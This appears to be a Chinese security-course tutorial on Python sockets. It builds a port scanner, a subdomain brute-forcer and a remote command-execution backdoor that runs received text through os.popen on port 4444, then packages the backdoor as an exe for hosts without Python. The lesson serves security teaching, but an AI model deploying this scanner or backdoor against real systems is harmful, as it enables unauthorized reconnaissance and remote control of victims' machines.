第158天:安全开发-Python-Socket编程反弹Shell分离免杀端口探针域名爆破

news2024/9/19 9:18:42

前置知识

使用 socket 模块
1. 导入模块
首先,你需要导入 Python 的 socket 模块。
import socket
2. 创建套接字
使用 socket.socket() 函数创建一个新的套接字。这个函数可以接收两个参数:地址族和套接字类型。
    地址族(Address Family):AF_INET 用于 IPv4,AF_INET6 用于 IPv6。
    套接字类型(Socket Type):SOCK_STREAM 表示 TCP 套接字,SOCK_DGRAM 表示 UDP 套接字。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3. 连接到服务器(客户端)
对于客户端,你需要使用 connect() 方法连接到服务器。
s.connect(('hostname', port))
4. 绑定地址(服务器)
对于服务器,你需要使用 bind() 方法将套接字绑定到一个地址(IP 地址和端口号)。
s.bind(('localhost', 12345))
5. 监听连接(服务器)
服务器需要监听进来的连接。使用 listen() 方法。
s.listen()
6. 接受连接(服务器)
服务器使用 accept() 方法接受连接。这个方法会阻塞,直到一个连接到达。
conn, addr = s.accept()
7. 发送和接收数据
    使用 send() 或 sendall() 方法发送数据。
    使用 recv() 方法接收数据。
# 发送数据  
s.sendall(b'Hello, world')  
# 接收数据  
data = s.recv(1024)
8. 关闭套接字
完成通信后,使用 close() 方法关闭套接字。
s.close()

socket链接图解

案例一:  Socket-通讯连接-端口扫描&域名爆破

端口扫描

socket进行端口扫描时,当正常有这个端口开放时,不会报错,当没有这个端口时会报错,每次连接完成后需要关闭,socket.socket()后面什么都不写的话,默认是进行tcp连接

根据这个点做一个简单的自己输入想输入的端口进行一个端口扫描(无论成功与否,都要把连接断开掉)

import socket

def port_scan(ip,port):
    s = socket.socket()
    try:
        s.connect((ip,int(port)))
        print(port+"--> open")
    except Exception as e:
        print(port+"--> down")
    finally:
        s.close()

if __name__ == '__main__':
    ip = input("please input ip:")
    ports = input("please input port(eg:80,133):")
    for port in ports.split(','):
        port_scan(ip,port) 

扫描本地ip

做一个远程扫描

 但是这个代码还有缺陷,因为只能一个一个进行扫描,当65535端口进行全扫描的时候,就会变得非常慢,因此需要引入多线程的概念

域名爆破

需要用到socket模块中的gethostbyname函数,成功的话会返回ip,失败会报错

根据这个基础写一个子域名爆破工具

import socket,time

def explode(url):
    #print(url)
    try:
        ip = socket.gethostbyname(url)
        print(url+"|"+ip)
        with open('domain-exception.txt','a+') as file:
            file.write(url+"|"+ip+"\n")
    except Exception as e:
        pass

if __name__ == '__main__':
    url = input("please input your url:")
    with open('dic.txt', 'r') as file:
        for line in file:
            #print(line.strip()+"."+url)
            explode(line.strip()+"."+url)
            #time.sleep(1)
            

爆破结果,能爆破出来多少结果取决于你的字典

 写入文件的的结果

案例二: Thread-多线程-自定义扫描&全端口扫描

上面的端口扫描案例虽然能扫描出来结果,但是速度太慢了。这里尝试加入多线程

当普通写两次循环的时候

执行结果

 简单的多线程

import socket,threading,time

def abc():
    for i in range(1,5):
        print(i)
        time.sleep(1)

if __name__ ==  '__main__':
    
    for i in range(1,5):
        s=threading.Thread(target=abc)
        s.start()

执行结果

但是这里要做端口扫描循环时候,肯定不能每次都从头开始,应该确保每次扫描都是不同端口。

调用quque库

import socket,threading,time,queue

def abc():
    try:
        print(q.get())
        time.sleep(3)
    finally:  
        q.task_done() 
if __name__ ==  '__main__':
    q=queue.Queue()
    for i in range(1,65536):
        q.put(i)
    threads = []
    for i in range(1,65535):
        s=threading.Thread(target=abc)
        s.start()
        threads.append(s)  
        
    # 等待所有线程完成  
    for t in threads:  
        t.join()

利用这种写法的话就不会出现每次都重新开始,这里我做了三秒延迟,但是他的速度依然很快

这里的话多线程有很多的知识,我们只做简单的使用

 简单的全扫描程序,有很多问题,这里线程我没有优化,直接设置了一起跑,会很消耗内存

import socket,threading,queue

def port_scan(ip):
    port = ports.get()
    s = socket.socket()
    try:
        s.connect((ip,int(port)))
        print(str(port)+"--> open")
    except Exception as e:
        pass
        #print(str(port)+"--> down")
    finally:
        s.close()

if __name__ == '__main__':
    ports = queue.Queue()
    for port in range(1,65536):
        ports.put(port)
    ip = input("please input ip:")
    for i in range(65536):
        s = threading.Thread(target=port_scan,args=(ip,))
        s.start()

跑出来的结果,而且好像不会中断,把关键信息跑出来以后就尽快中断

 下面是线程池玩法,这种写法确实好一点可以控制速度,而且不会卡顿,推荐!!!

import socket,threading
from concurrent.futures import ThreadPoolExecutor  
def port_scan(ip,port):
    s = socket.socket()
    try:
        s.connect((ip,int(port)))
        print(str(port)+"--> open")
    except Exception as e:
        pass
        #print(str(port)+"--> down")
    finally:
        s.close()
if __name__ == '__main__':
    ip = input("please input ip:")
    if __name__ == '__main__':  
        with ThreadPoolExecutor(max_workers=500) as executor:  # 创建一个最大包含500个线程的线程池  
            for port in range(65536):  # 提交65535个任务  
                executor.submit(port_scan,ip,port)  # 提交任务到线程池执行
        print("结束")

案例三: Socket-通讯后门-反弹后门&免杀应用

反弹后门

还是根据这张图,首先建立连接

服务端

客户端

netstat -an查看端口发现已经建立了连接

要进行传输数据的话,要生成新的socket连接

conn, addr = s.accept()

这里,conn是与客户端建立连接的新socket对象,而 addr是一个包含客户端地址信息的元组(例如,('192.168.1.100', 12345))。

客户端向服务端传数据

根据图解,服务端向客户端传数据可以直接传输,服务端不用生成新的socket会话

数据经过解码,可以重新变成字符串数据

close()关闭连接

如果传过去的是命令,可以利用os模块进行执行命令

os.popen(data).read()没有额外状态码

os.system()如果成功的话,会额外带一个状态码0,失败返回状态码1

 在此基础上写一个死循环,就能够实现不断命令执行

客户端

import socket,os

s = socket.socket()
ip = input("请输入ip:")
s.connect((ip,4444))
while True:
    data = input("please input cmdline:")
    s.send(data.encode("utf-8"))
    print(s.recv(1024).decode("utf-8"))
s.close()

服务端,代码还需要优化,比如输入错误的处理。

import socket,os

s = socket.socket()
s.bind(('0.0.0.0',4444))
s.listen(5)
conn,addr=s.accept()
while True:
    try:
        data = conn.recv(1024).decode("utf-8")
        result = os.popen(data).read()
        conn.send(result.encode("utf-8"))
    except Exception as e:
        conn.send("error".encode("utf-8"))
conn.close()

如果目标主机没有python环境,可以给打包成exe文件

pip install pyinstaller

pyinstaller -F py文件

执行结果

 这个黑窗口也可以取消,可以自己研究一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2136409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【鸿蒙】HarmonyOS NEXT星河入门到实战9-组件化开发进阶应用状态管理

目录 1.1 创建页面 1.2 页面跳转和后退 1.3 页面栈 1.4 路由模式 1.5 路由传参 2、生命周期 3、Stage模型 3.1 目录概览 3.2 app.json5应用配置 3.3 module.json5模型配置 3.4 UIAbility组件 3.5 UIAbility的添加和设置启动 3.6 UIAbility组件的生命周期 3.7 拉起另…

LSS如何创建视锥

先创建图像(u,v,d)坐标系下视锥 再根据相机内外参,将图像坐标系下uvd视锥x6,再调整到世界坐标系下XYZ视锥 1 完整代码 de

KOC营销崛起:TikTok带货新力量,助力跨境电商发展

近年来KOC这一新的营销角色悄然崛起,成为了跨境电商品牌推广的重要新力量。KOC虽非传统意义上的大网红,但他们凭借真实、接地气的分享,逐渐获得了大量的关注和信任。本文Nox聚星将和大家探讨KOC营销的崛起,分析其优势。 一、KOC营…

Java多线程编程-基础篇

多线程相关的概念 并发 并发是指在同一时间段内,两个或多个任务在同一个处理器上交替执行,使得在宏观上看起来像是同时进行。并发是通过快速切换任务来模拟同时执行的效果,实际上在任何一个时刻点上只有一个任务在执行。 也就是说&#xff0…

计算机毕业设计 智慧物业服务系统的设计与实现 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…

数字IC设计\FPGA 职位经典笔试面试--整理

注: 资料都是基于网上一些博客分享和自己学习整理而成的 1:什么是同步逻辑和异步逻辑? 同步逻辑是时钟之间有固定的因果关系。异步逻辑是各时钟之间没有固定的因果关系。 同步时序 逻辑电路的特点:各触发器的时钟端全部连接在一…

MFC工控项目实例之十五定时刷新PC6325A模拟量输入

承接专栏《MFC工控项目实例之十四模拟量信号名称从文件读写》 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { public:short m_saveData[32];unsigned short m_cardAddr;CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnS…

64位系统中不支持In.vi与Out.vi的原因

在LabVIEW开发环境中,使用In.vi和Out.vi可以直接进行端口读写操作,这在32位操作系统中运行良好。然而,随着64位操作系统的普及,特别是Windows Vista及之后的系统版本,LabVIEW中这些VI的支持逐渐被移除。LabVIEW 2012是…

dedecms靶场(四种webshell姿势)

姿势一:通过文件管理器上传WebShell 1.登陆到后台点击【核心】【文件式管理器】【文件上传】将准备好的一句话木马上传 2.点击访问成功蚁剑连接 姿势二:修改模板文件拿WebShell 1.点击【模板】【默认模板管理】【index.htm】【修改】 在文件修改中添加一句话木马 保存 2.点击…

环境搭建2(游戏逆向)

#include<iostream> #include<windows.h> #include<tchar.h> #include<stdio.h> #pragma warning(disable:4996) //exe应用程序 VOID PrintUI(CONST CHAR* ExeName, CONST CHAR* UIName, CONST CHAR* color, SHORT X坐标, SHORT y坐标, WORD UIwide, W…

438 找到字符串中所有字母异位词

解题思路&#xff1a; \qquad 这个题目解法没什么特别的&#xff0c;遍历所有子串&#xff0c;比较与目标字符串是否满足异位词即可。唯一需要注意的是&#xff0c;提示s和p仅包含小写字母&#xff0c;且异位词不关心字符的顺序&#xff0c;可以使用长度为26的数组&#xff0c…

Unity3D类似于桌面精灵的功能实现

前言&#xff1a; 由于最近在做游戏魔改&#xff0c;很多功能在游戏里面没法实现&#xff08;没错&#xff0c;说的就是排行榜&#xff09;&#xff0c;所以准备用Unity3D开发一个类似于桌面精灵的功能部件&#xff0c;实现效果如下&#xff1a; PS&#xff1a;有需要定制的老…

MySQL聚合统计

【数据库】MySQL聚合统计 王笃笃-CSDN博客https://blog.csdn.net/wangduduniubi?typeblog显示平均工资低于2000的部门和它的平均工资 mysql> select deptno,avg(sal) deptavg from emp group by deptno; --------------------- | deptno | deptavg | --------------…

ESKF学习笔记

参考资料 https://zhuanlan.zhihu.com/p/441182819 惯性导航(三)-基于流型的ESKF及代码实现_eskf和ekf-CSDN博客 用ESKF实现IMU/GNSS组合导航&#xff08;学习记录&#xff09;_eskf imu-CSDN博客 0.ESKF与KF的区别以及总体流程 0.1卡尔曼滤波过程 卡尔曼滤波的流程按照1…

微信阅读小程序的设计与实现(lw+演示+源码+运行)

题目&#xff1a;微信阅读小程序的设计与实现 摘 要 由于APP软件在开发以及运营上面所需成本较高&#xff0c;而用户手机需要安装各种APP软件&#xff0c;因此占用用户过多的手机存储空间&#xff0c;导致用户手机运行缓慢&#xff0c;体验度比较差&#xff0c;进而导致用户会…

学习之IDEA集成GitHub

一、配置github账号 使用token登录 二、分享代码到github 2.1 当pycharm中找不到VCS时 2.2 分享代码到github 2.3 push推送代码 2.4pull拉取代码 2.5 克隆代码 三、github打开双重身份认证

Docker构建Java镜像及使用

前言 最近在项目中使用到了一些docker技术&#xff0c;因为没有专业的运维人员&#xff0c;所以在部署版本应用的时候&#xff0c;都是自己在进行打包部署。经过一段时间的操作和使用&#xff0c;在这里和大家分享一下自己的心得&#xff0c;也算是做一下总结吧。 准备工作 首…

【Unity学习心得】如何制作俯视角射击游戏

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、导入素材二、制作流程 1.制作地图2.实现人物动画和移动脚本3.制作单例模式和对象池4.制作手枪pistol和子弹bullet和子弹壳bulletShell5.制作散弹枪shotgun总…

AIDA64 Extreme(硬件检测工具)v7.20绿色不需要安装版,供大家学习研究参考

一款综合性的系统硬件检测工具,号称最权威的电脑硬件检测,监控与测试软件,这款专业的硬件检测大师也是每位高手玩家,菜鸟用户必备的硬件检测利器.AIDA64不仅提供诸如协助超频,硬件侦错,压力测试和传感器监测等多种功能,而且还可以对处理器,系统内存和磁盘驱动器性能进行全面评估…

家具行业短视频矩阵获客,轻松实现百万曝光!

当前家具行业的营销正面临一个新阶段&#xff0c;但同时也遭遇了增长的瓶颈&#xff0c;主要问题在于营销策略过于雷同&#xff0c;这导致产品难以在市场中获得足够关注&#xff0c;从而在品牌和消费者之间形成了隔阂。 同时在这样一个信息爆炸的时代&#xff0c;就算是最优秀…